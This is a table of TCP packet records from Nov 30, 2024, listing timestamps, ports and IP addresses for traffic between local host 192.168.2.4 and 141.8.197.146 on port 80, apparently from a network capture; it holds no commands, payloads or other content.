Nov 30, 2024 05:00:03.716192007 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.716414928 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.716494083 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.774909973 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.774988890 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.837377071 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.837387085 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.837450981 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.837452888 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.837466955 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.837496042 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.837512016 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.837533951 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.838577986 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838598013 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838623047 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.838641882 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.838715076 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838725090 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838778973 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838787079 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838787079 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.838855028 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.838877916 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.838944912 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.839049101 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839095116 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839112043 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.839134932 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.839195013 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839226007 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839323044 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839369059 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839423895 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839476109 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839549065 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839673042 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839696884 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839778900 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839814901 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839879990 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839989901 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.839999914 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.840003967 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.840066910 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.894876957 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.894942999 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.957328081 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.957356930 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.957396030 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.957408905 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.957429886 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.957448959 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.958396912 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958452940 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.958482027 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958525896 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.958556890 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958607912 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.958646059 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958655119 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958700895 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.958717108 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958766937 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958870888 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958914995 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.958995104 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959057093 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959106922 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959188938 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959255934 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959264040 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959322929 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959330082 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959423065 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959429979 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959439039 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.959752083 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960026026 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960067987 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960076094 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960078955 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960103989 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960115910 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960120916 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960160971 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960163116 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960169077 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960174084 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960227013 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960233927 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960272074 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960279942 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960319042 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960357904 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960366964 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960401058 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:03.960418940 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960427999 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960481882 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960509062 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960639000 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960649014 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960685015 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960694075 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960794926 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960803986 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960810900 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960912943 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960922003 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960928917 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.960999012 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:03.976066113 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.014755011 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.014784098 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.014856100 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077136040 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077195883 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077238083 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077245951 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077315092 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077323914 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077383041 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077420950 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.077435017 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078341961 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078350067 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078408003 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078418016 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078507900 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078515053 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078557968 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078566074 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078613043 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078650951 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078705072 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078712940 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078766108 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.078821898 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079268932 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:04.079349041 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:04.079741001 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079778910 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079812050 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079921961 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079931021 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079992056 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.079998970 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080005884 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080121040 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080168009 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080176115 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080183983 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080270052 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080279112 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080343008 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080354929 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080389023 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080429077 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080562115 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080569983 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080635071 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080642939 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080754995 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080763102 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080770969 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080779076 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080787897 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080868006 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080876112 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080883980 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.080893040 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081001043 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081008911 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081016064 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081089020 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081125021 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081146002 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081207991 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081312895 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081320047 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081327915 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081331015 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081368923 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081376076 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081384897 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081418037 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081459045 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081468105 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081676960 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081684113 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081691980 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081701040 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081703901 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.081825018 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.082078934 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:04.082155943 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:04.199301958 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199341059 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199398994 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199467897 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199620962 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199682951 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199717999 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199877977 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.199892998 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200062037 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200309038 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200409889 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200448036 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200540066 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200550079 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200648069 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200658083 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200740099 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200768948 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200853109 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200861931 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200978041 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.200985909 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201033115 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201154947 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201222897 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201231003 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201318026 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201325893 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201376915 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201416969 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201472998 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201525927 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201586008 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201594114 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201644897 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201662064 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201744080 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.201790094 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202146053 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202240944 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202544928 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202583075 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202847004 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202903986 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.202985048 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203022003 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203145027 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203196049 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203259945 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203318119 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203356981 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203418016 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203550100 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203560114 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203593969 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203644991 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203679085 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203697920 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203828096 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203850031 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203887939 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:04.203907967 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203960896 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.203999043 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204109907 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204144955 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204154968 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204229116 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204237938 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204274893 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204360008 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204370022 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204488039 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204499006 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204507113 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204549074 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204557896 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204570055 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204574108 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204660892 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204669952 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204695940 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204705000 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204767942 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204806089 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204900980 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.204958916 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205009937 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205096960 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205133915 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205187082 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205215931 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205235004 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205288887 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205332041 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205414057 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205421925 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205468893 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205480099 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205630064 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205643892 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205653906 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205662966 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205713034 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205806017 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205823898 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205833912 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.205863953 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.323890924 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.323945999 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324026108 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324074030 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324136019 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324184895 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324301958 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324312925 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324390888 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324405909 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324590921 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324599028 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324711084 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324719906 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324805021 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324811935 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324863911 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324911118 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.324970961 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325014114 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325081110 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325124025 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325189114 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325202942 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325292110 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325330973 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325397015 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325413942 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325500011 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:04.325536013 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:05.566237926 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:05.566771030 CET	49731	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:05.687016010 CET	80	49731	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:05.687119007 CET	49731	80	192.168.2.4	141.8.197.146
